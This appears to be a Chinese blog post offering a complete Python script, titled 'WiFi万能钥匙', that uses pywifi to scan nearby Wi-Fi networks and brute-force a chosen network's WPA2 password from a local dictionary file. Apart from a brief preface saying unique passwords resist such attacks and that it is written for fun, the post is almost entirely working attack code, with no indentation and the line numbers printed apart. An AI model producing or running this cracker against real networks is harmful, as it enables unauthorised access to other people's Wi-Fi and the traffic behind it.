前言

只要自己的密码足够独特,就不必担心自己的密码被字典破解。
本程序仅仅是作者为了满足自己的恶趣味。

准备

大体思路是搜寻附近的wifi信号,选择wifi,然后跑密码字典进行破解。
为此,我需要编写两个类。一个是扫描wifi,一个是破解wifi.

程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import pywifi
import time
from pywifi import const


class WiFiScanner:
def __init__(self):
self.wifi = pywifi.PyWiFi()
self.interface = self.wifi.interfaces()[0]

def scan(self):
self.interface.scan()
for i in range(4):
time.sleep(1)
print(f'\r扫描可用 WiFi 中,请稍后...({3 - i})', end='')
print('\r扫描完成!\n' + '-' * 38)
bss = self.interface.scan_results()
wifi_list = sorted(
{(100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) for w in bss},
key=lambda a: a[0],
reverse=True
)
self.display_wifi_list(wifi_list)
return wifi_list

@staticmethod
def display_wifi_list(wifi_list):
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
for num, (signal, ssid) in enumerate(wifi_list):
print(f'\r{num:<6d}{signal:<8d}{ssid}')
print('-' * 38)


class WiFiCracker:
def __init__(self, interface):
self.interface = interface

def crack(self, wifi_name, dictionary_path):
with open(dictionary_path, 'r') as f:
for pwd in f:
pwd = pwd.strip('\n')
self.interface.disconnect()
while self.interface.status() == const.IFACE_CONNECTED:
pass
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
self.interface.remove_all_network_profiles()
tmp_profile = self.interface.add_network_profile(profile)
self.interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
if self.interface.status() == const.IFACE_CONNECTED:
print(f'\r连接成功!密码为:{pwd}')
return True
else:
print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
return False


class Main:
def __init__(self):
self.scanner = WiFiScanner()
self.cracker = WiFiCracker(self.scanner.interface)

def run(self):
print('WiFi万能钥匙'.center(35, '-'))
wifi_list = self.scanner.scan()
target_num = self.get_user_input(
'请选择你要尝试破解的wifi:',
range(len(wifi_list))
)
dictionary_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
self.cracker.crack(wifi_list[target_num][1], dictionary_path)
print('-' * 38)

@staticmethod
def get_user_input(prompt, valid_choices):
while True:
try:
user_input = int(input(prompt))
if user_input in valid_choices:
return user_input
else:
print('无效输入,请重新输入。')
except ValueError:
print('只能输入数字哦o(* ̄︶ ̄*)o')


if __name__ == '__main__':
main = Main()
main.run()